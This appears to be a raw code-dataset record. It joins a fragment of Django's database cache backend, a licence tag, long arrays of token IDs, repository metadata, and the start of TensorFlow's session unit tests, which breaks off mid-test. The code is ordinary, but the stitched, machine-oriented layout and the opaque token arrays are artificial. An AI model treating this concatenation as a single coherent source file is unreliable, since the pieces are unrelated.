typecast_timestamp(str(current_expires)) exp = connections[db].ops.value_to_db_datetime(exp) if result and (mode == 'set' or (mode == 'add' and current_expires < now)): cursor.execute("UPDATE %s SET value = %%s, expires = %%s " "WHERE cache_key = %%s" % table, [b64encoded, exp, key]) else: cursor.execute("INSERT INTO %s (cache_key, value, expires) " "VALUES (%%s, %%s, %%s)" % table, [key, b64encoded, exp]) except DatabaseError: # To be threadsafe, updates/inserts are allowed to fail silently return False else: return True def delete(self, key, version=None): key = self.make_key(key, version=version) self.validate_key(key) db = router.db_for_write(self.cache_model_class) table = connections[db].ops.quote_name(self._table) with connections[db].cursor() as cursor: cursor.execute("DELETE FROM %s WHERE cache_key = %%s" % table, [key]) def has_key(self, key, version=None): key = self.make_key(key, version=version) self.validate_key(key) db = router.db_for_read(self.cache_model_class) table = connections[db].ops.quote_name(self._table) if settings.USE_TZ: now = datetime.utcnow() else: now = datetime.now() now = now.replace(microsecond=0) with connections[db].cursor() as cursor: cursor.execute("SELECT cache_key FROM %s " "WHERE cache_key = %%s and expires > %%s" % table, [key, connections[db].ops.value_to_db_datetime(now)]) return cursor.fetchone() is not None def _cull(self, db, cursor, now): if self._cull_frequency == 0: self.clear() else: # When USE_TZ is True, 'now' will be an aware datetime in UTC. now = now.replace(tzinfo=None) table = connections[db].ops.quote_name(self._table) cursor.execute("DELETE FROM %s WHERE expires < %%s" % table, [connections[db].ops.value_to_db_datetime(now)]) cursor.execute("SELECT COUNT(*) FROM %s" % table) num = cursor.fetchone()[0] if num > self._max_entries: cull_num = num // self._cull_frequency cursor.execute( connections[db].ops.cache_key_culling_sql() % table, [cull_num]) cursor.execute("DELETE FROM %s " "WHERE cache_key < %%s" % table, [cursor.fetchone()[0]]) def clear(self): db = router.db_for_write(self.cache_model_class) table = connections[db].ops.quote_name(self._table) with connections[db].cursor() as cursor: cursor.execute('DELETE FROM %s' % table) # For backwards compatibility class CacheClass(DatabaseCache): pass
bsd-3-clause
[ 2, 7243, 2581, 4865, 2122, 199, 646, 1300, 772, 199, 504, 2197, 492, 2197, 199, 199, 893, 26, 272, 687, 1639, 14, 1208, 14, 4174, 14, 4912, 492, 17572, 465, 5927, 199, 2590, 3545, 26, 272, 492, 5927, 199, 199, 504, 1639, 14, 2190, 492, 2202, 199, 504, 1639, 14, 1018, 14, 1637, 14, 7765, 14, 1095, 492, 3523, 4437, 12, 6186, 63, 8899, 199, 504, 1639, 14, 697, 492, 6947, 12, 6008, 12, 6197, 12, 27728, 199, 504, 1639, 14, 697, 14, 7765, 14, 1208, 492, 730, 2931, 63, 3954, 199, 504, 1639, 14, 1208, 492, 7137, 12, 3816, 199, 504, 1639, 14, 1208, 14, 2991, 492, 3542, 63, 2394, 421, 199, 533, 8394, 8, 785, 304, 272, 408, 33, 1021, 626, 911, 2173, 564, 2839, 282, 5634, 1402, 485, 2024, 1021, 14, 339, 961, 6127, 2581, 5331, 370, 506, 22284, 701, 314, 6197, 272, 408, 272, 347, 636, 826, 721, 277, 12, 1817, 304, 267, 291, 14, 697, 63, 1224, 275, 1817, 267, 291, 14, 571, 63, 1302, 275, 283, 1176, 63, 1637, 7, 267, 291, 14, 1238, 63, 354, 275, 283, 1637, 2373, 7, 267, 291, 14, 3832, 63, 354, 275, 283, 1637, 2397, 7, 267, 291, 14, 3832, 63, 354, 63, 10019, 275, 283, 1637, 4811, 7, 267, 291, 14, 785, 63, 354, 275, 283, 4437, 3900, 7, 267, 291, 14, 6198, 275, 756, 267, 291, 14, 11122, 275, 715, 267, 291, 14, 3280, 275, 756, 421, 199, 533, 29103, 4437, 8, 1563, 4437, 304, 272, 347, 636, 826, 721, 277, 12, 1817, 12, 1862, 304, 267, 3523, 4437, 855, 826, 721, 277, 12, 1862, 9, 267, 291, 423, 1224, 275, 1817, 398, 1021, 11977, 3900, 8, 785, 304, 288, 485, 2024, 275, 8394, 8, 1224, 9, 267, 291, 14, 1637, 63, 1238, 63, 533, 275, 11977, 3900, 421, 199, 533, 8692, 4437, 8, 1563, 7243, 4437, 304, 339, 327, 961, 1021, 4440, 18809, 1384, 2741, 701, 314, 3050, 1950, 14, 961, 4910, 272, 327, 652, 11597, 15399, 1338, 465, 20381, 503, 19995, 29297, 10298, 641, 314, 272, 327, 574, 402, 4815, 63, 14226, 14, 9322, 1471, 506, 13524, 370, 20381, 503, 19995, 30580, 272, 327, 402, 298, 2131, 2, 17342, 14, 339, 327, 11017, 652, 701, 16027, 314, 23383, 367, 2218, 5331, 14, 3709, 282, 406, 4041, 12, 20381, 272, 327, 29297, 10621, 1133, 6326, 19995, 367, 16219, 626, 2793, 1133, 2291, 900, 18666, 14, 272, 327, 2136, 1736, 6818, 642, 5160, 701, 3544, 1808, 19995, 29297, 1380, 3575, 272, 327, 15399, 1338, 12, 315, 12174, 1380, 4815, 63, 14226, 275, 715, 436, 315, 2257, 900, 4257, 14, 339, 347, 664, 8, 277, 12, 790, 12, 849, 29, 403, 12, 1015, 29, 403, 304, 267, 790, 275, 291, 14, 1875, 63, 498, 8, 498, 12, 1015, 29, 1023, 9, 267, 291, 14, 3502, 63, 498, 8, 498, 9, 267, 1592, 275, 6197, 14, 697, 63, 509, 63, 739, 8, 277, 14, 1637, 63, 1238, 63, 533, 9, 267, 1817, 275, 6947, 59, 697, 1055, 1483, 14, 3513, 63, 354, 8, 277, 423, 1224, 9, 398, 543, 6947, 59, 697, 1055, 3937, 342, 465, 3920, 26, 288, 3920, 14, 2526, 480, 4859, 2581, 63, 498, 12, 574, 12, 12261, 4442, 450, 83, 298, 2574, 298, 17688, 2581, 63, 498, 275, 11539, 83, 2, 450, 1817, 12, 359, 498, 566, 288, 1962, 275, 3920, 14, 11591, 342, 267, 340, 1962, 365, 488, 26, 288, 372, 849, 267, 3063, 275, 7137, 14, 2131, 342, 267, 12261, 275, 1962, 59, 18, 61, 267, 340, 6947, 59, 697, 1055, 3179, 14, 10065, 63, 2083, 63, 875, 63, 2931, 436, 440, 1228, 8, 12342, 12, 2197, 304, 288, 327, 3390, 26, 730, 2931, 316, 365, 4346, 701, 2005, 650, 6883, 17135, 3050, 14745, 14, 288, 327, 2900, 6170, 14745, 1736, 1928, 730, 2931, 316, 12, 880, 506, 25082, 3595, 288, 327, 4493, 2348, 446, 511, 5241, 911, 2845, 3732, 1295, 6274, 2348, 14, 288, 12261, 275, 730, 2931, 63, 3954, 8, 495, 8, 12342, 430, 267, 340, 12261, 665, 3063, 26, 288, 1592, 275, 6197, 14, 697, 63, 509, 63, 952, 8, 277, 14, 1637, 63, 1238, 63, 533, 9, 288, 543, 6947, 59, 697, 1055, 3937, 342, 465, 3920, 26, 355, 3920, 14, 2526, 480, 7014, 4442, 450, 83, 298, 3044, 298, 17688, 2581, 63, 498, 275, 11539, 83, 2, 450, 1817, 12, 359, 498, 566, 288, 372, 849, 267, 574, 275, 6947, 59, 697, 1055, 1483, 14, 1412, 63, 67, 1191, 8, 1143, 59, 17, 566, 267, 372, 5927, 14, 3640, 8, 1095, 772, 14, 66, 772, 2708, 8, 3990, 63, 2394, 8, 585, 1724, 339, 347, 663, 8, 277, 12, 790, 12, 574, 12, 2653, 29, 3472, 63, 8899, 12, 1015, 29, 403, 304, 267, 790, 275, 291, 14, 1875, 63, 498, 8, 498, 12, 1015, 29, 1023, 9, 267, 291, 14, 3502, 63, 498, 8, 498, 9, 267, 291, 423, 1095, 63, 409, 360, 409, 297, 790, 12, 574, 12, 2653, 9, 339, 347, 1050, 8, 277, 12, 790, 12, 574, 12, 2653, 29, 3472, 63, 8899, 12, 1015, 29, 403, 304, 267, 790, 275, 291, 14, 1875, 63, 498, 8, 498, 12, 1015, 29, 1023, 9, 267, 291, 14, 3502, 63, 498, 8, 498, 9, 267, 372, 291, 423, 1095, 63, 409, 360, 525, 297, 790, 12, 574, 12, 2653, 9, 339, 347, 485, 1095, 63, 409, 8, 277, 12, 818, 12, 790, 12, 574, 12, 2653, 29, 3472, 63, 8899, 304, 267, 2653, 275, 291, 14, 362, 63, 4620, 63, 2593, 8, 2593, 9, 267, 1592, 275, 6197, 14, 697, 63, 509, 63, 952, 8, 277, 14, 1637, 63, 1238, 63, 533, 9, 267, 1817, 275, 6947, 59, 697, 1055, 1483, 14, 3513, 63, 354, 8, 277, 423, 1224, 9, 398, 543, 6947, 59, 697, 1055, 3937, 342, 465, 3920, 26, 288, 3920, 14, 2526, 480, 4859, 24903, 21565, 4442, 450, 83, 2, 450, 1817, 9, 288, 1967, 275, 3920, 14, 11591, 3430, 16, 61, 288, 3063, 275, 7137, 14, 2131, 342, 288, 3063, 275, 3063, 14, 1814, 8, 16627, 29, 16, 9, 288, 340, 2653, 365, 488, 26, 355, 1437, 275, 2197, 14, 988, 288, 916, 2202, 14 ]
[ 7243, 2581, 4865, 2122, 199, 646, 1300, 772, 199, 504, 2197, 492, 2197, 199, 199, 893, 26, 272, 687, 1639, 14, 1208, 14, 4174, 14, 4912, 492, 17572, 465, 5927, 199, 2590, 3545, 26, 272, 492, 5927, 199, 199, 504, 1639, 14, 2190, 492, 2202, 199, 504, 1639, 14, 1018, 14, 1637, 14, 7765, 14, 1095, 492, 3523, 4437, 12, 6186, 63, 8899, 199, 504, 1639, 14, 697, 492, 6947, 12, 6008, 12, 6197, 12, 27728, 199, 504, 1639, 14, 697, 14, 7765, 14, 1208, 492, 730, 2931, 63, 3954, 199, 504, 1639, 14, 1208, 492, 7137, 12, 3816, 199, 504, 1639, 14, 1208, 14, 2991, 492, 3542, 63, 2394, 421, 199, 533, 8394, 8, 785, 304, 272, 408, 33, 1021, 626, 911, 2173, 564, 2839, 282, 5634, 1402, 485, 2024, 1021, 14, 339, 961, 6127, 2581, 5331, 370, 506, 22284, 701, 314, 6197, 272, 408, 272, 347, 636, 826, 721, 277, 12, 1817, 304, 267, 291, 14, 697, 63, 1224, 275, 1817, 267, 291, 14, 571, 63, 1302, 275, 283, 1176, 63, 1637, 7, 267, 291, 14, 1238, 63, 354, 275, 283, 1637, 2373, 7, 267, 291, 14, 3832, 63, 354, 275, 283, 1637, 2397, 7, 267, 291, 14, 3832, 63, 354, 63, 10019, 275, 283, 1637, 4811, 7, 267, 291, 14, 785, 63, 354, 275, 283, 4437, 3900, 7, 267, 291, 14, 6198, 275, 756, 267, 291, 14, 11122, 275, 715, 267, 291, 14, 3280, 275, 756, 421, 199, 533, 29103, 4437, 8, 1563, 4437, 304, 272, 347, 636, 826, 721, 277, 12, 1817, 12, 1862, 304, 267, 3523, 4437, 855, 826, 721, 277, 12, 1862, 9, 267, 291, 423, 1224, 275, 1817, 398, 1021, 11977, 3900, 8, 785, 304, 288, 485, 2024, 275, 8394, 8, 1224, 9, 267, 291, 14, 1637, 63, 1238, 63, 533, 275, 11977, 3900, 421, 199, 533, 8692, 4437, 8, 1563, 7243, 4437, 304, 339, 327, 961, 1021, 4440, 18809, 1384, 2741, 701, 314, 3050, 1950, 14, 961, 4910, 272, 327, 652, 11597, 15399, 1338, 465, 20381, 503, 19995, 29297, 10298, 641, 314, 272, 327, 574, 402, 4815, 63, 14226, 14, 9322, 1471, 506, 13524, 370, 20381, 503, 19995, 30580, 272, 327, 402, 298, 2131, 2, 17342, 14, 339, 327, 11017, 652, 701, 16027, 314, 23383, 367, 2218, 5331, 14, 3709, 282, 406, 4041, 12, 20381, 272, 327, 29297, 10621, 1133, 6326, 19995, 367, 16219, 626, 2793, 1133, 2291, 900, 18666, 14, 272, 327, 2136, 1736, 6818, 642, 5160, 701, 3544, 1808, 19995, 29297, 1380, 3575, 272, 327, 15399, 1338, 12, 315, 12174, 1380, 4815, 63, 14226, 275, 715, 436, 315, 2257, 900, 4257, 14, 339, 347, 664, 8, 277, 12, 790, 12, 849, 29, 403, 12, 1015, 29, 403, 304, 267, 790, 275, 291, 14, 1875, 63, 498, 8, 498, 12, 1015, 29, 1023, 9, 267, 291, 14, 3502, 63, 498, 8, 498, 9, 267, 1592, 275, 6197, 14, 697, 63, 509, 63, 739, 8, 277, 14, 1637, 63, 1238, 63, 533, 9, 267, 1817, 275, 6947, 59, 697, 1055, 1483, 14, 3513, 63, 354, 8, 277, 423, 1224, 9, 398, 543, 6947, 59, 697, 1055, 3937, 342, 465, 3920, 26, 288, 3920, 14, 2526, 480, 4859, 2581, 63, 498, 12, 574, 12, 12261, 4442, 450, 83, 298, 2574, 298, 17688, 2581, 63, 498, 275, 11539, 83, 2, 450, 1817, 12, 359, 498, 566, 288, 1962, 275, 3920, 14, 11591, 342, 267, 340, 1962, 365, 488, 26, 288, 372, 849, 267, 3063, 275, 7137, 14, 2131, 342, 267, 12261, 275, 1962, 59, 18, 61, 267, 340, 6947, 59, 697, 1055, 3179, 14, 10065, 63, 2083, 63, 875, 63, 2931, 436, 440, 1228, 8, 12342, 12, 2197, 304, 288, 327, 3390, 26, 730, 2931, 316, 365, 4346, 701, 2005, 650, 6883, 17135, 3050, 14745, 14, 288, 327, 2900, 6170, 14745, 1736, 1928, 730, 2931, 316, 12, 880, 506, 25082, 3595, 288, 327, 4493, 2348, 446, 511, 5241, 911, 2845, 3732, 1295, 6274, 2348, 14, 288, 12261, 275, 730, 2931, 63, 3954, 8, 495, 8, 12342, 430, 267, 340, 12261, 665, 3063, 26, 288, 1592, 275, 6197, 14, 697, 63, 509, 63, 952, 8, 277, 14, 1637, 63, 1238, 63, 533, 9, 288, 543, 6947, 59, 697, 1055, 3937, 342, 465, 3920, 26, 355, 3920, 14, 2526, 480, 7014, 4442, 450, 83, 298, 3044, 298, 17688, 2581, 63, 498, 275, 11539, 83, 2, 450, 1817, 12, 359, 498, 566, 288, 372, 849, 267, 574, 275, 6947, 59, 697, 1055, 1483, 14, 1412, 63, 67, 1191, 8, 1143, 59, 17, 566, 267, 372, 5927, 14, 3640, 8, 1095, 772, 14, 66, 772, 2708, 8, 3990, 63, 2394, 8, 585, 1724, 339, 347, 663, 8, 277, 12, 790, 12, 574, 12, 2653, 29, 3472, 63, 8899, 12, 1015, 29, 403, 304, 267, 790, 275, 291, 14, 1875, 63, 498, 8, 498, 12, 1015, 29, 1023, 9, 267, 291, 14, 3502, 63, 498, 8, 498, 9, 267, 291, 423, 1095, 63, 409, 360, 409, 297, 790, 12, 574, 12, 2653, 9, 339, 347, 1050, 8, 277, 12, 790, 12, 574, 12, 2653, 29, 3472, 63, 8899, 12, 1015, 29, 403, 304, 267, 790, 275, 291, 14, 1875, 63, 498, 8, 498, 12, 1015, 29, 1023, 9, 267, 291, 14, 3502, 63, 498, 8, 498, 9, 267, 372, 291, 423, 1095, 63, 409, 360, 525, 297, 790, 12, 574, 12, 2653, 9, 339, 347, 485, 1095, 63, 409, 8, 277, 12, 818, 12, 790, 12, 574, 12, 2653, 29, 3472, 63, 8899, 304, 267, 2653, 275, 291, 14, 362, 63, 4620, 63, 2593, 8, 2593, 9, 267, 1592, 275, 6197, 14, 697, 63, 509, 63, 952, 8, 277, 14, 1637, 63, 1238, 63, 533, 9, 267, 1817, 275, 6947, 59, 697, 1055, 1483, 14, 3513, 63, 354, 8, 277, 423, 1224, 9, 398, 543, 6947, 59, 697, 1055, 3937, 342, 465, 3920, 26, 288, 3920, 14, 2526, 480, 4859, 24903, 21565, 4442, 450, 83, 2, 450, 1817, 9, 288, 1967, 275, 3920, 14, 11591, 3430, 16, 61, 288, 3063, 275, 7137, 14, 2131, 342, 288, 3063, 275, 3063, 14, 1814, 8, 16627, 29, 16, 9, 288, 340, 2653, 365, 488, 26, 355, 1437, 275, 2197, 14, 988, 288, 916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, 1, 1, 1, 1, 1 ]
drpngx/tensorflow
tensorflow/python/client/session_test.py
3
76015
# Copyright 2015 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Tests for tensorflow.python.client.session.Session.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import collections import random import os import sys import threading import time import warnings import numpy as np import six from six.moves import xrange # pylint: disable=redefined-builtin from tensorflow.core.framework import attr_value_pb2 from tensorflow.core.lib.core import error_codes_pb2 from tensorflow.core.protobuf import config_pb2 from tensorflow.python.client import session from tensorflow.python.framework import common_shapes from tensorflow.python.framework import constant_op from tensorflow.python.framework import dtypes from tensorflow.python.framework import errors from tensorflow.python.framework import function from tensorflow.python.framework import importer from tensorflow.python.framework import ops from tensorflow.python.framework import sparse_tensor from tensorflow.python.framework import tensor_util from tensorflow.python.framework import test_util from tensorflow.python.framework import versions from tensorflow.python.ops import array_ops from tensorflow.python.ops import control_flow_ops from tensorflow.python.ops import data_flow_ops from tensorflow.python.ops import gen_control_flow_ops from tensorflow.python.ops import gradients_impl from tensorflow.python.ops import math_ops # Import resource_variable_ops for the variables-to-tensor implicit conversion. from tensorflow.python.ops import resource_variable_ops # pylint: disable=unused-import from tensorflow.python.ops import state_ops from tensorflow.python.ops import variables from tensorflow.python.platform import googletest from tensorflow.python.training import server_lib from tensorflow.python.util import compat # NOTE(mrry): Dummy shape registration for ops used in the tests, since they # don't have C++ op registrations on which to attach C++ shape fns. ops.RegisterShape('ConstructionFails')(common_shapes.unknown_shape) class SessionTest(test_util.TensorFlowTestCase): def setUp(self): super(SessionTest, self).setUp() warnings.simplefilter('always') def testUseExistingGraph(self): with ops.Graph().as_default() as g, ops.device('/cpu:0'): a = constant_op.constant(6.0, shape=[1, 1]) b = constant_op.constant(7.0, shape=[1, 1]) c = math_ops.matmul(a, b, name='matmul') with session.Session(graph=g): result = c.eval() self.assertAllEqual(result, [[42.0]]) def testUseDefaultGraph(self): with ops.Graph().as_default(), ops.device('/cpu:0'): a = constant_op.constant(6.0, shape=[1, 1]) b = constant_op.constant(7.0, shape=[1, 1]) c = math_ops.matmul(a, b, name='matmul') with session.Session(): result = c.eval() self.assertAllEqual(result, [[42.0]]) def testCreate(self): with session.Session(): inp = constant_op.constant(10.0, shape=[2, 3], name='W1') copy = array_ops.identity(inp) # Test with feed. # TODO(mrry): Investigate why order='F' didn't work. arr = np.asarray([[0, 1, 2], [3, 4, 5]], dtype=np.float32, order='C') copy_val = copy.eval({'W1:0': arr}) self.assertAllEqual(arr, copy_val) # Test without feed. copy_val = copy.eval() self.assertAllEqual( np.asarray( [[10.0, 10.0, 10.0], [10.0, 10.0, 10.0]], dtype=np.float32), copy_val) def testManyCPUs(self): # TODO(keveman): Implement ListDevices and test for the number of # devices returned by ListDevices. with session.Session( config=config_pb2.ConfigProto(device_count={ 'CPU': 2 })): inp = constant_op.constant(10.0, name='W1') self.assertAllEqual(inp.eval(), 10.0) def testPerSessionThreads(self): # TODO(keveman): Implement ListDevices and test for the number of # devices returned by ListDevices. with session.Session( config=config_pb2.ConfigProto(use_per_session_threads=True)): inp = constant_op.constant(10.0, name='W1') self.assertAllEqual(inp.eval(), 10.0) def testSessionInterOpThreadPool(self): config = config_pb2.ConfigProto() pool = config.session_inter_op_thread_pool.add() with session.Session(config=config) as s: inp = constant_op.constant(10.0, name='W1') results = s.run([inp]) self.assertAllEqual([10.0], results) pool = config.session_inter_op_thread_pool.add() pool.num_threads = 1 with session.Session(config=config) as s: inp = constant_op.constant(20.0, name='W2') results = s.run([inp]) self.assertAllEqual([20.0], results) pool = config.session_inter_op_thread_pool.add() pool.num_threads = 1 pool.global_name = 't1' run_options = config_pb2.RunOptions() run_options.inter_op_thread_pool = ( len(config.session_inter_op_thread_pool) - 1) with session.Session(config=config) as s: inp = constant_op.constant(30.0, name='W2') results = s.run([inp], options=run_options) self.assertAllEqual([30.0], results) def testErrorsReported(self): with session.Session() as s: constant_op.constant(10.0, name='W1') with self.assertRaises(ValueError): s.run('foo:0') def testErrorPayload(self): with session.Session(): a = array_ops.placeholder(dtypes.float32) with self.assertRaisesOpError(lambda e: e.op == a.op): a.eval() def testErrorCodeWithNoNodeDef(self): with session.Session() as s: a = array_ops.placeholder(dtypes.float32, shape=[]) b = array_ops.placeholder(dtypes.float32, shape=[]) r1 = math_ops.add(a, b) def exc_predicate(e): return (e.op is None and e.node_def is None and e.error_code == error_codes_pb2.INVALID_ARGUMENT) with self.assertRaisesOpError(exc_predicate): # Run with a bogus handle. s.partial_run('foo', r1, feed_dict={a: 1, b: 2}) def testErrorBasedOn(self): with session.Session() as sess: a = constant_op.constant(0.0, shape=[2, 3]) # NOTE(mrry): The original_op is nonsense, but used here to test that the # errors are reported correctly. with sess.graph._original_op(a.op): b = array_ops.identity(a, name='id') with sess.graph._original_op(b.op): c = array_ops.placeholder(dtypes.float32) def exc_predicate(e): return (e.op == c.op and e.op._original_op == b.op and e.op._original_op._original_op == a.op) with self.assertRaisesOpError(exc_predicate): c.eval() def testFetchNone(self): with session.Session() as s: a = constant_op.constant(1.0) with self.assertRaises(TypeError): s.run(None) with self.assertRaises(TypeError): s.run([None]) with self.assertRaises(TypeError): s.run({'b': None}) with self.assertRaises(TypeError): s.run({'a': a, 'b': None}) def testFetchSingleton(self): with session.Session() as sess: a = constant_op.constant(42.0) res = sess.run(a) self.assertEqual(42.0, res) res = sess.run(a.op) # An op, not a tensor. self.assertEqual(None, res) tensor_runner = sess.make_callable(a) res = tensor_runner() self.assertEqual(42.0, res) op_runner = sess.make_callable(a.op) res = op_runner() self.assertEqual(None, res) def testFetchSingletonByName(self): with session.Session() as sess: a = constant_op.constant(42.0) res = sess.run(a.name) self.assertEqual(42.0, res) res = sess.run(a.op) # An op, not a tensor. self.assertEqual(None, res) def testFetchList(self): with session.Session() as sess: a = constant_op.constant(42.0) b = control_flow_ops.no_op() # An op, not a tensor. c = constant_op.constant(44.0) v = variables.Variable([54.0]) assign = v.assign([63.0]) res = sess.run([a, b, c, a.name, assign.op]) self.assertTrue(isinstance(res, list)) self.assertEqual([42.0, None, 44.0, 42.0, None], res) list_runner = sess.make_callable([a, b, c, a.name, assign.op]) res = list_runner() self.assertTrue(isinstance(res, list)) self.assertEqual([42.0, None, 44.0, 42.0, None], res) def testFetchTuple(self): with session.Session() as sess: a = constant_op.constant(42.0) b = control_flow_ops.no_op() # An op, not a tensor. c = constant_op.constant(44.0) res = sess.run((a, b, c, a.name)) self.assertTrue(isinstance(res, tuple)) self.assertEqual((42.0, None, 44.0, 42.0), res) tuple_runner = sess.make_callable((a, b, c, a.name)) res = tuple_runner() self.assertTrue(isinstance(res, tuple)) self.assertEqual((42.0, None, 44.0, 42.0), res) def testFetchNamedTuple(self): # pylint: disable=invalid-name ABC = collections.namedtuple('ABC', ['a', 'b', 'c']) # pylint: enable=invalid-name with session.Session() as sess: a = constant_op.constant(42.0) b = control_flow_ops.no_op() # An op, not a tensor. c = constant_op.constant(44.0) res = sess.run(ABC(a, b, c)) self.assertTrue(isinstance(res, ABC)) self.assertEqual(42.0, res.a) self.assertEqual(None, res.b) self.assertEqual(44.0, res.c) namedtuple_runner = sess.make_callable(ABC(a, b, c)) res = namedtuple_runner() self.assertTrue(isinstance(res, ABC)) self.assertEqual(42.0, res.a) self.assertEqual(None, res.b) self.assertEqual(44.0, res.c) def testFetchDict(self): with session.Session() as sess: a = constant_op.constant(42.0) b = control_flow_ops.no_op() # An op, not a tensor. c = constant_op.constant(44.0) res = sess.run({'a': a, 'b': b, 'c': c}) self.assertTrue(isinstance(res, dict)) self.assertEqual(42.0, res['a']) self.assertEqual(None, res['b']) self.assertEqual(44.0, res['c']) def testFetchOrderedDict(self): with session.Session() as sess: a = constant_op.constant(42.0) b = control_flow_ops.no_op() # An op, not a tensor. c = constant_op.constant(44.0) res = sess.run(collections.OrderedDict([(3, a), (2, b), (1, c)])) self.assertTrue(isinstance(res, collections.OrderedDict)) self.assertEqual([3, 2, 1], list(res.keys())) self.assertEqual(42.0, res[3]) self.assertEqual(None, res[2]) self.assertEqual(44.0, res[1]) def testFetchNestingEmptyOneLevel(self): with session.Session() as sess: a_val = 11.0 a = constant_op.constant(a_val) res = sess.run([[], tuple(), {}]) self.assertTrue(isinstance(res, list)) self.assertEquals(3, len(res)) self.assertTrue(isinstance(res[0], list)) self.assertEqual(0, len(res[0])) self.assertTrue(isinstance(res[1], tuple)) self.assertEqual(0, len(res[1])) self.assertTrue(isinstance(res[2], dict)) self.assertEqual(0, len(res[2])) res = sess.run([[], tuple(), {}, a]) self.assertTrue(isinstance(res, list)) self.assertEquals(4, len(res)) self.assertTrue(isinstance(res[0], list)) self.assertEqual(0, len(res[0])) self.assertTrue(isinstance(res[1], tuple)) self.assertEqual(0, len(res[1])) self.assertTrue(isinstance(res[2], dict)) self.assertEqual(0, len(res[2])) self.assertEqual(a_val, res[3]) def testFetchNestingOneLevel(self): with session.Session() as sess: # pylint: disable=invalid-name ABC = collections.namedtuple('ABC', ['a', 'b', 'c']) DEFG = collections.namedtuple('DEFG', ['d', 'e', 'f', 'g']) # pylint: enable=invalid-name a_val = 42.0 b_val = None c_val = 44.0 a = constant_op.constant(a_val) b = control_flow_ops.no_op() # An op, not a tensor. c = constant_op.constant(c_val) # List of lists, tuples, namedtuple, and dict res = sess.run([[a, b, c], (a, b, c), ABC(a=a, b=b, c=c), { 'a': a.name, 'c': c, 'b': b }]) self.assertTrue(isinstance(res, list)) self.assertEqual(4, len(res)) self.assertTrue(isinstance(res[0], list)) self.assertEqual(3, len(res[0])) self.assertEqual(a_val, res[0][0]) self.assertEqual(b_val, res[0][1]) self.assertEqual(c_val, res[0][2]) self.assertTrue(isinstance(res[1], tuple)) self.assertEqual(3, len(res[1])) self.assertEqual(a_val, res[1][0]) self.assertEqual(b_val, res[1][1]) self.assertEqual(c_val, res[1][2]) self.assertTrue(isinstance(res[2], ABC)) self.assertEqual(a_val, res[2].a) self.assertEqual(b_val, res[2].b) self.assertEqual(c_val, res[2].c) self.assertTrue(isinstance(res[3], dict)) self.assertEqual(3, len(res[3])) self.assertEqual(a_val, res[3]['a']) self.assertEqual(b_val, res[3]['b']) self.assertEqual(c_val, res[3]['c']) # Tuple of lists, tuples, namedtuple, and dict res = sess.run(([a, b, c], (a.name, b, c), ABC(a=a, b=b, c=c), { 'a': a, 'c': c, 'b': b })) self.assertTrue(isinstance(res, tuple)) self.assertEqual(4, len(res)) self.assertTrue(isinstance(res[0], list)) self.assertEqual(3, len(res[0])) self.assertEqual(a_val, res[0][0]) self.assertEqual(b_val, res[0][1]) self.assertEqual(c_val, res[0][2]) self.assertTrue(isinstance(res[1], tuple)) self.assertEqual(3, len(res[1])) self.assertEqual(a_val, res[1][0]) self.assertEqual(b_val, res[1][1]) self.assertEqual(c_val, res[1][2]) self.assertTrue(isinstance(res[2], ABC)) self.assertEqual(a_val, res[2].a) self.assertEqual(b_val, res[2].b) self.assertEqual(c_val, res[2].c) self.assertTrue(isinstance(res[3], dict)) self.assertEqual(3, len(res[3])) self.assertEqual(a_val, res[3]['a']) self.assertEqual(b_val, res[3]['b']) self.assertEqual(c_val, res[3]['c']) # Namedtuple of lists, tuples, namedtuples, and dict res = sess.run( DEFG( d=[a, b, c], e=(a, b, c), f=ABC(a=a.name, b=b, c=c), g={ 'a': a, 'c': c, 'b': b })) self.assertTrue(isinstance(res, DEFG)) self.assertTrue(isinstance(res.d, list)) self.assertEqual(3, len(res.d)) self.assertEqual(a_val, res.d[0]) self.assertEqual(b_val, res.d[1]) self.assertEqual(c_val, res.d[2]) self.assertTrue(isinstance(res.e, tuple)) self.assertEqual(3, len(res.e)) self.assertEqual(a_val, res.e[0]) self.assertEqual(b_val, res.e[1]) self.assertEqual(c_val, res.e[2]) self.assertTrue(isinstance(res.f, ABC)) self.assertEqual(a_val, res.f.a) self.assertEqual(b_val, res.f.b) self.assertEqual(c_val, res.f.c) self.assertTrue(isinstance(res.g, dict)) self.assertEqual(3, len(res.g)) self.assertEqual(a_val, res.g['a']) self.assertEqual(b_val, res.g['b']) self.assertEqual(c_val, res.g['c']) # Dict of lists, tuples, namedtuples, and dict res = sess.run({ 'd': [a, b, c], 'e': (a, b, c), 'f': ABC(a=a, b=b, c=c), 'g': { 'a': a.name, 'c': c, 'b': b } }) self.assertTrue(isinstance(res, dict)) self.assertEqual(4, len(res)) self.assertTrue(isinstance(res['d'], list)) self.assertEqual(3, len(res['d'])) self.assertEqual(a_val, res['d'][0]) self.assertEqual(b_val, res['d'][1]) self.assertEqual(c_val, res['d'][2]) self.assertTrue(isinstance(res['e'], tuple)) self.assertEqual(3, len(res['e'])) self.assertEqual(a_val, res['e'][0]) self.assertEqual(b_val, res['e'][1]) self.assertEqual(c_val, res['e'][2]) self.assertTrue(isinstance(res['f'], ABC)) self.assertEqual(a_val, res['f'].a) self.assertEqual(b_val, res['f'].b) self.assertEqual(c_val, res['f'].c) self.assertTrue(isinstance(res['g'], dict)) self.assertEqual(3, len(res['g'])) self.assertEqual(a_val, res['g']['a']) self.assertEqual(b_val, res['g']['b']) self.assertEqual(c_val, res['g']['c']) def testFetchTensorObject(self): with session.Session() as s: a = constant_op.constant(1.0, shape=[1, 2]) b = constant_op.constant(2.0, shape=[2, 3]) c = math_ops.matmul(a, b) results_with_list = s.run([c]) self.assertAllEqual([[4.0, 4.0, 4.0]], results_with_list[0]) results_with_single = s.run(c) self.assertAllEqual([[4.0, 4.0, 4.0]], results_with_single) results_with_get = c.eval() self.assertAllEqual([[4.0, 4.0, 4.0]], results_with_get) a_val, b_val = s.run([a, b]) # Test multiple fetches. self.assertAllEqual([[1.0, 1.0]], a_val) self.assertAllEqual([[2.0, 2.0, 2.0], [2.0, 2.0, 2.0]], b_val) results_with_dict = s.run({'a': [a], 'b': b, 'z': [a, b]}) self.assertAllEqual([[1.0, 1.0]], 